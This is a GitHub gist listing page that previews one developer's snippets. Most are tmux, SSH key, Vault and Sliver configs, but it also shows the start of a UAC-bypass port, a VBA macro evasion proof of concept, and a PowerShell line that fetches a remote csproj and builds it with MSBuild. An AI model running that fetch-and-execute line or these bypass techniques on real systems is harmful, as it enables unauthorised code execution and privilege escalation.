Skip to content

Instantly share code, notes, and snippets.

@lesnuages
lesnuages / bypassuac.go
Last active March 16, 2023 02:21
slui.exe UAC bypass Go implementation
// UAC bypass ported from https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation/blob/master/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.cpp
package main
import (
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows/registry"
)
@lesnuages
lesnuages / notes.md
Created January 12, 2023 00:20
SSH Fido key generation

Yubikey

Generate signing key

ssh-keygen -t ecdsa-sk -f ~/.ssh/github_lesnuages_sign_sk_usbc -Oapplication=ssh:github_perso_sign -Oresident -C "GitHub account - Signing Key (lesnuages)"

Generate SSH key

@lesnuages
lesnuages / tmux.conf
Created December 27, 2022 17:28
Custom tmux conf
# Enable mouse mode
set -g mouse on
# Bindings
bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R
@lesnuages
lesnuages / jira.go
Created September 28, 2022 19:06
jira-client
package main
import (
"fmt"
"strings"
"time"
"github.com/andygrunwald/go-jira"
)
@lesnuages
lesnuages / tmux.conf
Created September 7, 2022 16:42
tmux minimal config
# Enable mouse mode
set -g mouse on
# Bindings
bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();
@lesnuages
lesnuages / vault-env.zsh
Created May 22, 2021 09:54
ZSH function to extract key/values from vault and store them as environment variables. Relies on jq
function vault-env() {
source <(vault kv get --format json $1 | jq -r '.data.data| keys[] as $k | "export \($k)=\"\(.[$k])\""')
}
@lesnuages
lesnuages / Dockerfile
Last active February 20, 2021 11:35
vscode Sliver devcontainer configuration
FROM mcr.microsoft.com/vscode/devcontainers/go:1.16
ENV PROTOC_VER 3.11.4
ENV PROTOC_GEN_GO_VER 1.3.5
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
@lesnuages
lesnuages / launch.json
Last active November 30, 2020 19:42
vscode sliver debug conf
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Debug Server",
"type": "go",
"request": "attach",
@lesnuages
lesnuages / PCMPBNMBAO_x86_poc.vba
Created October 29, 2019 15:20 — forked from xpn/PCMPBNMBAO_x86_poc.vba
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON POC via VBA
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007